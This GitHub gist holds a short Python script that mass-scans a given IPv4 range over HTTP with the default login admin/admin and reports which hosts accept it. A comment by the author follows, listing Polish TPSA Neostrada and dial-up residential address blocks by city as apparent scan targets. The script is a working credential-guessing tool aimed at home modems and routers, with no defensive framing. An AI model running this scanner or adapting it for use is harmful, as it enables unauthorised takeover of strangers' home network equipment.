Skip to content

Instantly share code, notes, and snippets.

@starenka
Created February 14, 2012 21:55
Show Gist options
  • Save starenka/1830841 to your computer and use it in GitHub Desktop.
Save starenka/1830841 to your computer and use it in GitHub Desktop.
modems.py 83.6.171.0 83.6.172.0 2>/dev/nul
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# pip install requests gevent ipaddr
import sys, datetime
from requests import async
from ipaddr import summarize_address_range,IPv4Address
AUTH = ('admin', 'admin')
TIMEOUT = 5
def resp(response):
if response.error:
print '%s [!] %s %s' % (datetime.datetime.now(), response.url, response.error)
else:
print '%s [%s] %s HTTP%i for %s:%s' % (
datetime.datetime.now(), '-' if response.status_code != 200 else '+', response.url, response.status_code,
response.request.auth.username, response.request.auth.password)
return response
if len(sys.argv) < 2:
sys.exit('usage %s 83.24.0.0 83.24.127.255 2>/dev/null'%__file__)
subs = summarize_address_range(IPv4Address(sys.argv[1]),IPv4Address(sys.argv[2]))
ips = ['http://%s'%ip for sub in subs for ip in sub]
hooks = dict(response=resp)
requests = [async.get(one, auth=AUTH, timeout=TIMEOUT, hooks=hooks) for one in ips]
print 'timeout: %isecs, auth: %s\n' % (TIMEOUT, AUTH)
async.map(requests, size=255)
@starenka
Copy link
Author

83.20.0.0 – 83.20.255.255 – TPSA Neostrada (DIP, BB) – Poznań
83.21.0.0 – 83.21.255.255 – TPSA Neostrada (DIP, BB) – Szczecin
83.22.0.0 – 83.22.255.255 – TPSA Neostrada (DIP, BB) – Katowice
83.23.0.0 – 83.23.127.255 – TPSA Neostrada (DIP, BB) – Poznań
83.23.128.0 – 83.23.255.255 – TPSA Neostrada (DIP, BB) – Kraków
83.24.0.0 – 83.24.127.255 – TPSA Neostrada (DIP, BB) – Warszawa
83.25.0.0 – 83.25.127.255 – TPSA Neostrada (DIP, BB) – Szczecin
83.25.128.0 – 83.25.255.255 – TPSA Neostrada Plus (DIP, BB) – Gdańsk
83.26.0.0 – 83.26.127.255 – TPSA Neostrada Plus (DIP, BB) – Olsztyn
83.26.128.0 – 83.26.255.255 – TPSA Neostrada Plus (DIP, BB) – Bydgoszcz
83.27.0.0 – 83.27.127.255 – TPSA Neostrada Plus (DIP, BB) – Wrocław
83.27.128.0 – 83.27.255.255 – TPSA Neostrada Plus (DIP, BB) – Poznań
83.28.0.0 – 83.28.127.255 – TPSA Neostrada Plus (DIP, BB) – Rzeszów
83.28.128.0 – 83.28.255.255 – TPSA Neostrada Plus (DIP, BB) – Lublin
83.29.0.0 – 83.29.127.255 – TPSA Neostrada Plus (DIP, BB) – Kraków
83.29.128.0 – 83.29.255.255 – TPSA Neostrada Plus (DIP, BB) – Łódź
83.30.0.0 – 83.30.255.255 – TPSA Neostrada Plus (DIP, BB) – Katowice
83.31.0.0 – 83.31.255.255 – TPSA Neostrada Plus (DIP, BB) – Warszawa
213.25.179.192 – 213.25.179.207 – Jozef Biryło (SIP, ST) – Olsztyn
213.25.220.1 – 213.25.255.255 – TPSA sieć SDI (niektóre patrz niżej):
213.25.220.0 – 213.25.220.127 – TPSA SDI (SIP, BB) – Gliwice
213.25.227.16 – 213.25.227.31 – TPSA SDI (SIP, BB) – Kowiesy
213.25.228.252 – 213.25.228.255 – TPSA SDI (SIP, BB) – Nowy Dwór
213.25.235.0 – 213.25.235.127 – TPSA SDI (SIP, BB) – Żary
213.76.0.0 – 213.77.255.255 – TPSA Polish Telekom ISP (patrz niżej):
213.76.0.0 – 213.76.127.255 – TPSA sieć dial-up 0202122 (niektóre patrz niżej):
213.76.0.0 – 213.76.0.255 – TPSA, Polpak stacje Border Gateway Protocol (SIP, ST) – Polska
213.76.1.0 – 213.76.3.255 – TPSA TPNet (DIP, DU) – Częstochowa
213.76.4.0 – 213.76.7.255 – TPSA TPNet (DIP, DU) – Opole
213.76.8.0 – 213.76.15.255 – TPSA TPNet (DIP, DU) – Katowice
213.76.16.0 – 213.76.20.255 – TPSA TPNet (DIP, DU) – Bielsko Biała
213.76.21.0 – 213.76.23.255 – TPSA TPNet (DIP, DU) – Katowice
213.76.24.0 – 213.76.31.255 – TPSA TPNet (DIP, DU) – Gdańsk 1, 2
213.76.32.0 – 213.76.33.255 – TPSA TPNet (DIP, DU) – Gdynia
213.76.34.0 – 213.76.35.255 – TPSA TPNet (DIP, DU) – Gdańsk 3
213.76.36.0 – 213.76.43.255 – TPSA TPNet (DIP, DU) – Kraków
213.76.44.0 – 213.76.47.255 – TPSA TPNet (DIP, DU) – Olsztyn
213.76.48.0 – 213.76.53.255 – TPSA TPNet (DIP, DU) – Bydgoszcz
213.76.54.0 – 213.76.55.255 – TPSA TPNet (DIP, DU) – Toruń
213.76.56.0 – 213.76.59.255 – TPSA TPNet (DIP, DU) – Szczecin
213.76.60.0 – 213.76.63.255 – TPSA TPNet (DIP, DU) – Łódź
213.76.64.0 – 213.76.70.255 – TPSA TPNet (DIP, DU) – Lublin
213.76.71.0 – 213.76.71.255 – TPSA TPNet (DIP, DU) – Radom
213.76.72.0 – 213.76.79.255 – TPSA TPNet (DIP, DU) – Poznań
213.76.80.0 – 213.76.81.255 – TPSA TPNet (DIP, DU) – Kalisz
213.76.82.0 – 213.76.83.255 – TPSA TPNet (DIP, DU) – Zielona Góra
213.76.84.0 – 213.76.84.255 – TPSA TPNet (DIP, DU) – Jelenia Góra
213.76.85.0 – 213.76.85.255 – TPSA TPNet (DIP, DU) – Legnica
213.76.86.0 – 213.76.87.255 – TPSA TPNet (DIP, DU) – Wałbrzych
213.76.88.0 – 213.76.93.255 – TPSA TPNet (DIP, DU) – Wrocław
213.76.94.0 – 213.76.95.255 – TPSA TPNet (DIP, DU) – Włocławek
213.76.96.0 – 213.76.111.255 – TPSA TPNet (DIP, DU) – Warszawa
213.76.112.0 – 213.76.113.255 – TPSA TPNet (DIP, DU) – Gorzów Wielkopolski
213.76.114.0 – 213.76.115.255 – TPSA TPNet (DIP, DU) – Konin
213.76.116.0 – 213.76.117.255 – TPSA TPNet (DIP, DU) – Leszno
213.76.118.0 – 213.76.119.255 – TPSA TPNet (DIP, DU) – Piła
213.76.120.0 – 213.76.121.255 – TPSA TPNet (DIP, DU) – Suwałki
213.76.122.0 – 213.76.123.255 – TPSA TPNet (DIP, DU) – Elbląg
213.76.124.0 – 213.76.125.255 – TPSA TPNet (DIP, DU) – Koszalin
213.76.126.0 – 213.76.127.255 – TPSA TPNet (DIP, DU) – Słupsk
213.76.189.0 – 213.76.189.255 – TPSA SDI (SIP, BB) – Łódź
213.76.190.0 – 213.76.190.3 – TPSA SDI (SIP, BB) – Stalowa Wola
213.76.210.128 – 213.76.210.255 – TPSA SDI (SIP, BB) – Sopot
213.76.255.128 – 213.76.255.255 – TPSA SDI (SIP, BB) – Babice
213.77.147.1 – 213.77.151.255 – TPSA SDI (SIP, BB) – Kraków
213.77.192.0 – 213.77.250.255 – TPSA sieć dial-up 0202122 (wszystkie patrz niżej):
213.77.192.0 – 213.77.193.255 – TPSA TPNet (DIP, DU) – Biała Podlaska
213.77.194.0 – 213.77.195.255 – TPSA TPNet (DIP, DU) – Chełm
213.77.196.0 – 213.77.197.255 – TPSA TPNet (DIP, DU) – Tarnobrzeg
213.77.198.0 – 213.77.199.255 – TPSA TPNet (DIP, DU) – Zamość
213.77.200.0 – 213.77.201.255 – TPSA TPNet (DIP, DU) – Białystok
213.77.202.0 – 213.77.203.255 – TPSA TPNet (DIP, DU) – Ciechanów
213.77.204.0 – 213.77.205.255 – TPSA TPNet (DIP, DU) – Łomża
213.77.206.0 – 213.77.207.255 – TPSA TPNet (DIP, DU) – Ostrołęka
213.77.208.0 – 213.77.209.255 – TPSA TPNet (DIP, DU) – Płock
213.77.210.0 – 213.77.211.255 – TPSA TPNet (DIP, DU) – Siedlce
213.77.212.0 – 213.77.213.255 – TPSA TPNet (DIP, DU) – Skierniewice
213.77.214.0 – 213.77.215.255 – TPSA TPNet (DIP, DU) – Kielce
213.77.216.0 – 213.77.217.255 – TPSA TPNet (DIP, DU) – Krosno
213.77.218.0 – 213.77.219.255 – TPSA TPNet (DIP, DU) – Nowy Sącz
213.77.220.0 – 213.77.221.255 – TPSA TPNet (DIP, DU) – Przemyśl
213.77.222.0 – 213.77.223.255 – TPSA TPNet (DIP, DU) – Tarnów
213.77.224.0 – 213.77.225.255 – TPSA TPNet (DIP, DU) – Piotrków Trybunalski
213.77.226.0 – 213.77.227.255 – TPSA TPNet (DIP, DU) – Rzeszów
213.77.228.0 – 213.77.229.255 – TPSA TPNet (DIP, DU) – Sieradz
213.77.230.0 – 213.77.230.255 – TPSA TPNet (DIP, DU) – Łódź
213.77.231.0 – 213.77.231.255 – TPSA TPNet (DIP, DU) – Szczecin
213.77.232.0 – 213.77.235.255 – TPSA TPNet (DIP, DU) – Warszawa
213.77.236.0 – 213.77.237.255 – TPSA TPNet (DIP, DU) – Jelenia Góra
213.77.238.0 – 213.77.239.255 – TPSA TPNet (DIP, DU) – Legnica
213.77.240.0 – 213.77.241.255 – TPSA TPNet (DIP, DU) – Radom
213.77.242.0 – 213.77.243.255 – TPSA TPNet (DIP, DU) – Kielce
213.77.244.0 – 213.77.245.255 – TPSA TPNet (DIP, DU) – Toruń
213.77.246.0 – 213.77.247.255 – TPSA TPNet (DIP, DU) – Gdynia
213.77.248.0 – 213.77.248.255 – TPSA TPNet (DIP, DU) – Wałbrzych
213.77.249.0 – 213.77.249.255 – TPSA TPNet (DIP, DU) – Białystok
213.77.250.0 – 213.77.250.255 – TPSA TPNet (DIP, DU) – Łódź
213.77.251.0 – 213.77.255.255 – TPSA sieć SDI (niektóre patrz niżej):
213.77.251.0 – 213.77.251.127 – TPSA SDI (SIP, BB) – Elbląg
213.77.254.128 – 213.77.254.255 – TPSA SDI (SIP, BB) – Sandomierz
213.77.255.240 – 213.77.255.255 – TPSA SDI (SIP, BB) – Ulęże
217.96.128.0 – 217.96.128.127 – TPSA SDI (SIP, BB) – Białystok
217.96.128.128 – 217.96.128.255 – TPSA SDI (SIP, BB) – Wygoda
217.96.129.0 – 217.96.129.127 – TPSA SDI (SIP, BB) – Starosielce
217.96.129.128 – 217.96.129.255 – TPSA SDI (SIP, BB) – Bielsk Podlaski
217.96.130.0 – 217.96.130.127 – TPSA SDI (SIP, BB) – Łapy
217.96.130.128 – 217.96.130.255 – TPSA SDI (SIP, BB) – Sokółka
217.96.131.0 – 217.96.131.127 – TPSA SDI (SIP, BB) – Siemiatycze
217.96.131.128 – 217.96.131.255 – TPSA SDI (SIP, BB) – Białystok
217.96.132.0 – 217.96.132.127 – TPSA SDI (SIP, BB) – Lipowa
217.96.132.128 – 217.96.132.255 – TPSA SDI (SIP, BB) – Hajnówka
217.96.133.0 – 217.96.133.127 – TPSA SDI (SIP, BB) – Bojary
217.96.133.128 – 217.96.133.255 – TPSA SDI (SIP, BB) – Jaroszówka
217.96.134.0 – 217.96.134.127 – TPSA SDI (SIP, BB) – Mońki
217.96.134.128 – 217.96.134.255 – TPSA SDI (SIP, BB) – Grajewo
217.96.135.0 – 217.96.135.127 – TPSA SDI (SIP, BB) – Elbląg
217.96.135.128 – 217.96.135.255 – TPSA SDI (SIP, BB) – Barczewo
217.96.136.0 – 217.96.136.127 – TPSA SDI (SIP, BB) – Augustów
217.96.136.128 – 217.96.136.255 – TPSA SDI (SIP, BB) – Ełk
217.96.137.0 – 217.96.137.127 – TPSA SDI (SIP, BB) – Giżycko
217.96.137.128 – 217.96.137.191 – TPSA SDI (SIP, BB) – Olecko
217.96.137.192 – 217.96.137.255 – TPSA SDI (SIP, BB) – Gołdap
217.96.138.0 – 217.96.138.127 – TPSA SDI (SIP, BB) – Pisz
217.96.138.128 – 217.96.139.63 – TPSA SDI (SIP, BB) – Suwałki
217.96.139.64 – 217.96.139.127 – TPSA SDI (SIP, BB) – Węgorzewo
217.96.141.128 – 217.96.141.255 – TPSA SDI (SIP, BB) – Złocieniec
217.96.142.0 – 217.96.142.127 – TPSA SDI (SIP, BB) – Połczyn-Zdrój
217.96.142.128 – 217.96.142.191 – TPSA SDI (SIP, BB) – Kołobrzeg
217.96.142.192 – 217.96.142.255 – TPSA SDI (SIP, BB) – Ustronie Morskie
217.96.143.0 – 217.96.143.127 – TPSA SDI (SIP, BB) – Biała Podlaska
217.96.143.128 – 217.96.143.255 – TPSA SDI (SIP, BB) – Łuków
217.96.152.0 – 217.96.157.127 – TPSA SDI (SIP, BB) – Wrocław
217.96.195.128 – 217.96.195.255 – TPSA SDI (SIP, BB) – Zamość
217.96.251.128 – 217.96.251.255 – TPSA SDI (SIP, BB) – Tychy
217.97.1.0 – 217.97.127.255 – TPSA SDI (niektóre patrz niżej)
217.97.1.0 – 217.97.1.255 – TPSA SDI (SIP, BB) – Włocławek
217.97.2.0 – 217.97.2.255 – TPSA SDI (SIP, BB) – Kalisz
217.97.3.0 – 217.97.3.127 – TPSA SDI (SIP, BB) – Nowe Skalmierzyce
217.97.3.128 – 217.97.3.255 – TPSA SDI (SIP, BB) – Kobylin
217.97.123.0 – 217.97.124.255 – TPSA SDI (SIP, BB) – Kraków
217.97.127.128 – 217.97.127.255 – TPSA SDI (SIP, BB) – Wrocław
217.98.8.0 – 217.98.43.255 – TPSA klienci Neostrady (wszystkie patrz niżej):
217.98.8.0 – 217.98.11.255 – TPSA Neostrada (DIP, BB) – Warszawa
217.98.24.0 – 217.98.27.255 – TPSA Neostrada (DIP, BB) – Szczecin
217.98.28.0 – 217.98.31.255 – TPSA Neostrada (DIP, BB) – Łódź
217.98.32.0 – 217.98.35.255 – TPSA Neostrada (DIP, BB) – Kraków
217.98.36.0 – 217.98.39.255 – TPSA Neostrada (DIP, BB) – Gdańsk
217.98.40.0 – 217.98.43.255 – TPSA Neostrada (DIP, BB) – Olsztyn
217.98.224.0 – 217.99.115.255 – TPSA sieć dial-up 0202122 (niektóre patrz niżej):
217.98.224.0 – 217.98.230.255 – TPSA TPNet (DIP, DU) – Szczecin
217.98.236.0 – 217.98.236.255 – TPSA TPNet (DIP, DU) – Płock
217.98.238.0 – 217.98.238.255 – TPSA TPNet (DIP, DU) – Siedlce
217.98.240.0 – 217.98.241.255 – TPSA TPNet (DIP, DU) – Olsztyn
217.98.246.0 – 217.98.247.255 – TPSA TPNet (DIP, DU) – Suwałki
217.98.248.0 – 217.98.249.255 – TPSA TPNet (DIP, DU) – Rzeszów
217.98.253.0 – 217.98.253.255 – TPSA TPNet (DIP, DU) – Krosno
217.98.254.0 – 217.98.254.255 – TPSA TPNet (DIP, DU) – Przemyśl
217.98.255.0 – 217.98.255.255 – TPSA TPNet (DIP, DU) – Tarnów
217.99.0.0 – 217.99.23.255 – TPSA TPNet (DIP, DU) – Warszawa
217.99.50.0 – 217.99.50.127 – TPSA SDI (SIP, BB) – Łódź
217.99.51.0 – 217.99.51.127 – TPSA SDI (SIP, BB) – Zgierz
217.99.51.128 – 217.99.51.255 – TPSA SDI (SIP, BB) – Łódź
217.99.55.0 – 217.99.55.255 – TPSA TPNet (DIP, DU) – Ciechanów
217.99.63.0 – 217.99.63.255 – TPSA TPNet (DIP, DU) – Ostrołęka
217.99.64.0 – 217.99.67.255 – TPSA TPNet (DIP, DU) – Gliwice
217.99.68.0 – 217.99.72.255 – TPSA TPNet (DIP, DU) – Katowice
217.99.80.0 – 217.99.83.255 – TPSA TPNet (DIP, DU) – Katowice
217.99.84.0 – 217.99.84.255 – TPSA TPNet (DIP, DU) – Gliwice
217.99.88.0 – 217.99.93.255 – TPSA TPNet (DIP, DU) – Bielsko Biała
217.99.96.0 – 217.99.97.255 – TPSA TPNet (DIP, DU) – Częstochowa
217.99.102.0 – 217.99.102.255 – TPSA TPNet (DIP, DU) – Opole
217.99.106.0 – 217.99.107.255 – TPSA TPNet (DIP, DU) – Białystok
217.99.108.0 – 217.99.113.255 – TPSA TPNet (DIP, DU) – Poznań
217.99.114.0 – 217.99.114.255 – TPSA TPNet (DIP, DU) – Konin
217.99.115.0 – 217.99.115.255 – TPSA TPNet (DIP, DU) – Poznań
217.99.120.0 – 217.99.123.255 – TPSA SDI (niektóre patrz niżej)
217.99.120.0 – 217.99.120.3 – TPSA SDI (SIP, BB) – Brzeg
217.99.120.48 – 217.99.120.63 – TPSA SDI (SIP, BB) – Częstochowa
217.99.123.128 – 217.99.123.255 – TPSA SDI (SIP, BB) – Kraków
217.99.124.0 – 217.99.252.255 – TPSA sieć dial-up 0202122 (wszystkie patrz niżej):
217.99.124.0 – 217.99.126.255 – TPSA TPNet (DIP, DU) – Poznań
217.99.128.0 – 217.99.129.255 – TPSA TPNet (DIP, DU) – Kalisz
217.99.132.0 – 217.99.135.255 – TPSA TPNet (DIP, DU) – Zielona Góra
217.99.136.0 – 217.99.137.255 – TPSA TPNet (DIP, DU) – Gorzów Wielkopolski
217.99.142.0 – 217.99.142.255 – TPSA TPNet (DIP, DU) – Piła
217.99.146.0 – 217.99.147.255 – TPSA TPNet (DIP, DU) – Leszno
217.99.148.0 – 217.99.149.255 – TPSA TPNet (DIP, DU) – Toruń
217.99.152.0 – 217.99.152.255 – TPSA TPNet (DIP, DU) – Bydgoszcz
217.99.158.0 – 217.99.158.255 – TPSA TPNet (DIP, DU) – Włocławek
217.99.160.0 – 217.99.165.255 – TPSA TPNet (DIP, DU) – Łódź
217.99.181.0 – 217.99.181.255 – TPSA TPNet (DIP, DU) – Piotrków Trybunalski
217.99.184.0 – 217.99.184.255 – TPSA TPNet (DIP, DU) – Sieradz
217.99.188.0 – 217.99.189.255 – TPSA TPNet (DIP, DU) – Koszalin
217.99.190.0 – 217.99.190.255 – TPSA TPNet (DIP, DU) – Słupsk
217.99.192.0 – 217.99.195.255 – TPSA TPNet (DIP, DU) – Gdańsk
217.99.200.0 – 217.99.205.255 – TPSA TPNet (DIP, DU) – Gdynia
217.99.206.0 – 217.99.206.255 – TPSA TPNet (DIP, DU) – Elbląg
217.99.208.0 – 217.99.217.255 – TPSA TPNet (DIP, DU) – Kraków
217.99.219.0 – 217.99.219.255 – TPSA TPNet (DIP, DU) – Nowy Sącz
217.99.220.0 – 217.99.222.255 – TPSA TPNet (DIP, DU) – Kielce
217.99.224.0 – 217.99.227.255 – TPSA TPNet (DIP, DU) – Wrocław
217.99.232.0 – 217.99.236.255 – TPSA TPNet (DIP, DU) – Wałbrzych
217.99.238.0 – 217.99.238.255 – TPSA TPNet (DIP, DU) – Jelenia Góra
217.99.245.0 – 217.99.245.255 – TPSA TPNet (DIP, DU) – Biała Podlaska
217.99.246.0 – 217.99.246.255 – TPSA TPNet (DIP, DU) – Chełm
217.99.247.0 – 217.99.247.255 – TPSA TPNet (DIP, DU) – Zamość
217.99.248.0 – 217.99.249.255 – TPSA TPNet (DIP, DU) – Tarnobrzeg
217.99.252.0 – 217.99.252.255 – TPSA TPNet (DIP, DU) – Skierniewice

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment